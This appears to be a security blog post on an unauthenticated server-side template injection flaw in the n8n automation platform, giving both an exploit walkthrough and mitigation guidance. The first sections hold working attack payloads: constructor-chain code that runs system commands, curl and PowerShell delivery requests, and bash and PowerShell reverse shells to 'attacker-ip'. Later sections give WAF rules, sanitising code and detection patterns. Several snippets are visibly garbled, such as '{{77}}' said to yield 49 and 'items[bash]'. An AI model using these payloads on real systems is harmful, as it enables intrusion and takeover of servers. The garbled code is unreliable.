Listen to this Post

Introduction
A recently disclosed vulnerability in the n8n workflow automation platform allows unauthenticated remote code execution (RCE) through a Server-Side Template Injection (SSTI) flaw. Attackers can inject malicious payloads via user-controlled input that gets rendered by the template engine, leading to full system compromise without any prior authentication.
Learning Objectives
- Understand the exploitation chain from user input to SSTI and finally RCE in n8n
- Learn how to manually test for SSTI vulnerabilities using template syntax payloads
- Apply mitigation steps including version upgrades, form node auditing, and input sanitization
You Should Know
1. Understanding the n8n SSTI-to-RCE Exploit Chain
The vulnerability stems from improper handling of raw user input within n8n’s template rendering engine. Attackers supply malicious expressions (e.g., {{77}}) that the server evaluates. If the result `49` appears in the response, SSTI is confirmed. From there, more advanced payloads leverage JavaScript’s `constructor` and `child_process` to execute arbitrary system commands.
Step‑by‑step guide to reproduce (for authorized testing only):
- Set up a vulnerable n8n instance (version prior to 1.123.22 / 2.9.3 / 2.10.1):
Using Docker (vulnerable example) docker run -d --name n8n-vuln -p 5678:5678 n8nio/n8n:1.123.0
-
Identify an endpoint that reflects user input – often workflow execution endpoints or form nodes. For instance:
POST /webhook/trigger HTTP/1.1 Host: target:5678 Content-Type: application/json {"input":"{{77}}"} -
Confirm SSTI – If response contains
49, the template engine evaluated the expression.
4. Craft RCE payload – Use JavaScript’s `process.mainModule.require(‘child_process’).exec()`:
{{ constructor.constructor("return process.mainModule.require('child_process').execSync('whoami').toString()")() }}
5. Encode for HTTP transmission (URL‑encode if needed):
curl -X POST http://target:5678/webhook/test -H "Content-Type: application/json" -d '{"payload":"{{constructor.constructor(\"return process.mainModule.require(\'child_process\').execSync(\'id\')\")()}}"}'
Windows alternative – if n8n runs on Windows, replace `whoami` with cmd.exe /c "whoami":
Invoke-RestMethod -Uri http://target:5678/webhook/test -Method POST -Body '{"payload":"{{constructor.constructor(\"return process.mainModule.require(\'child_process\').execSync(\'cmd.exe /c whoami\')\")()}}"}'
2. Manual SSTI Detection and Payload Evolution
SSTI vulnerabilities often go unnoticed because they blend with normal dynamic content. This section provides a systematic approach to detect and escalate SSTI in n8n and similar platforms.
Step‑by‑step guide:
- Basic arithmetic test – Inject
{{77}},{{7+7}},{{config}}. Record any unexpected evaluation. -
Context fingerprinting – Determine the template engine (n8n uses nunjucks/handlebars). Try:
{{7'7'}} -> 777 if string concatenation, 49 if numeric -
Access global objects – In Node.js environments, test:
{{global}} {{process}} {{require('child_process')}} -
Use the constructor chain – If direct `require` is blocked, bypass via:
{{constructor.constructor('return global.process.mainModule.require("child_process").execSync("ls")')()}} -
Blind RCE (no output) – Use reverse shell payloads:
Linux reverse shell {{constructor.constructor("return process.mainModule.require('child_process').exec('bash -i >& /dev/tcp/attacker-ip/4444 0>&1')")()}}
Listen on attacker machine: `nc -lvnp 4444`
6. Windows reverse shell – PowerShell one‑liner:
{{constructor.constructor("return process.mainModule.require('child_process').exec('powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient(\"\"attacker-ip\"\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"\"PS \"\" + (pwd).Path + \"\"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"")")() }}
3. Mitigation: Version Upgrades and Patch Validation
The vendor has released fixed versions: 1.123.22, 2.9.3, 2.10.1 and later. Immediate upgrade is the primary defense. This section covers safe upgrade procedures and verification.
Step‑by‑step guide for different deployment types:
- Docker deployment:
docker pull n8nio/n8n:latest docker stop n8n-vuln docker run -d --name n8n-secure -p 5678:5678 n8nio/n8n:latest
-
npm global installation:
npm update -g n8n n8n --version Should be >=2.10.1
-
Kubernetes (helm):
helm repo update helm upgrade n8n n8nio/n8n --version 2.10.1
-
Verification after upgrade – Attempt the SSTI payload `{{77}}` on all webhook and form endpoints. The response should no longer evaluate the expression. Use a test script:
for endpoint in /webhook/test /form/test /api/v1/workflows; do curl -X POST http://localhost:5678$endpoint -H "Content-Type: application/json" -d '{"input":"{{77}}"}' | grep -q 49 && echo "VULN: $endpoint" || echo "OK: $endpoint" done -
If patching is impossible immediately – Apply a Web Application Firewall (WAF) rule to block SSTI patterns:
NGINX ModSecurity example SecRule ARGS "{{.}}" "id:1001,deny,status:403,msg:'SSTI attempt blocked'"
4. Hardening Form Nodes and Input Handling
Beyond version upgrades, administrators must audit all custom form nodes and user‑input channels. n8n’s form nodes are especially risky because they directly accept raw input without sanitization.
Step‑by‑step hardening guide:
- Audit existing form nodes – List all workflows containing form triggers:
Using n8n API (authenticated) curl -H "Authorization: Bearer $API_KEY" http://localhost:5678/api/v1/workflows | jq '.data[].nodes[] | select(.type=="n8n-nodes-base.formTrigger")'
-
Disable unused form nodes – Remove or deactivate any form node not strictly required.
-
Implement input validation – Add a “Code” node before processing form data to sanitize:
// n8n Code node (JavaScript) const sanitize = (input) => { if (typeof input !== 'string') return input; // Remove template delimiters and dangerous patterns return input.replace(/{{|}}|\${/g, ''); }; items[bash].json.userInput = sanitize(items[bash].json.userInput); -
Enforce whitelist validation – For expected fields, restrict to alphanumeric and safe punctuation:
const allowedPattern = /^[a-zA-Z0-9\s-_]+$/; if (!allowedPattern.test(userInput)) throw new Error('Invalid input'); -
Log all form submissions – Enable detailed logging to detect exploitation attempts:
Set n8n log level to debug export N8N_LOG_LEVEL=debug n8n start
-
Monitor for SSTI patterns – Use SIEM or grep logs for
{{,}},constructor,child_process:tail -f ~/.n8n/logs/n8n.log | grep -E '{{|}}|constructor|child_process'
5. Cloud and API Security Extensions
If n8n is exposed via API gateways or cloud load balancers, additional layers of defense can block exploitation before reaching the application.
Step‑by‑step cloud hardening:
- AWS WAF – Create a rule to block SSTI patterns:
{ "Name": "BlockSSTI", "Priority": 0, "Statement": { "RegexPatternSetReferenceStatement": { "ARN": "arn:aws:wafv2:us-east-1:123456789012:regexpatternset/ssti-patterns", "FieldToMatch": { "Body": {} } } }, "Action": { "Block": {} } }
Pattern: `\\{\\{.?\\}\\}`
- CloudFlare WAF – Deploy a custom rule with expression:
(http.request.body.raw contains "{{") or (http.request.body.raw contains "constructor") -
API Gateway request validation – Enable request validation to reject malformed JSON containing template syntax.
-
Network segmentation – Place n8n behind an internal reverse proxy that strips template delimiters:
server { location / { Strip {{ and }} from POST body (simplified example) set_by_lua_block $sanitized_body { local body = ngx.req.get_body_data() if body then body = body:gsub("{{", ""):gsub("}}", "") end return body } proxy_pass http://n8n-backend:5678; } }
6. Detection and Incident Response for n8n RCE
If you suspect exploitation has already occurred, follow this incident response plan.
Step‑by‑step detection:
- Check for unexpected processes – Look for child processes spawned by Node.js:
Linux ps aux | grep node | grep -E 'bash|sh|nc|curl|wget|powershell' Windows (PowerShell) Get-Process -IncludeUserName | Where-Object {$<em>.ProcessName -eq "node" -and $</em>.UserName -ne "NT AUTHORITY\SYSTEM"}
2. Audit n8n logs for SSTI attempts:
grep -E '{{.?(|constructor|child_process|execSync|require).?}}' ~/.n8n/logs/.log
3. Review network connections – Identify reverse shells:
Linux netstat -tunap | grep ESTABLISHED | grep -E 'node|n8n' Windows netstat -ano | findstr ESTABLISHED | findstr node
- Check for modified workflows – Compare current workflow JSON with backups:
diff backup_workflows.json current_workflows.json
-
Isolate and recover – Take the instance offline, rotate all secrets (API keys, database credentials), restore from a clean backup taken before the compromise window.
What Undercode Say
- Immediate patching is non‑negotiable – The exploitation chain is trivial for any intermediate attacker; unauthenticated RCE requires action within hours, not days.
- SSTI remains an overlooked class – Many automation tools and low‑code platforms still mishandle user input in templates. Always assume user‑supplied strings are malicious.
SSTI vulnerabilities are often overshadowed by SQLi or XSS, but in backend tools like n8n, they provide direct code execution pathways. The n8n case illustrates how a simple expression `{{77}}` can escalate to full server takeover. Developers must never concatenate user input into template strings without context‑aware escaping. For defenders, behavioral monitoring of Node.js child process spawns is critical—any `exec` or `execSync` originating from a web‑facing process should trigger an immediate alert. Finally, this incident reinforces the value of version‑locked deployments and automated vulnerability scanning against dependency CVEs.
Prediction
This vulnerability will likely be weaponized within 48 hours, with mass scanning for exposed n8n instances on ports 5678 and 8080. Attackers will automate SSTI payloads to deploy cryptominers, botnet agents, or backdoors. Expect follow‑on exploits targeting other workflow automation platforms (e.g., Huginn, Apache Airflow) that use similar template engines. Organisations failing to patch will face data breaches and lateral movement into internal networks. The only sustainable defense is to treat any user input as executable code and enforce strict input validation at every boundary.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Morad Atrash – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


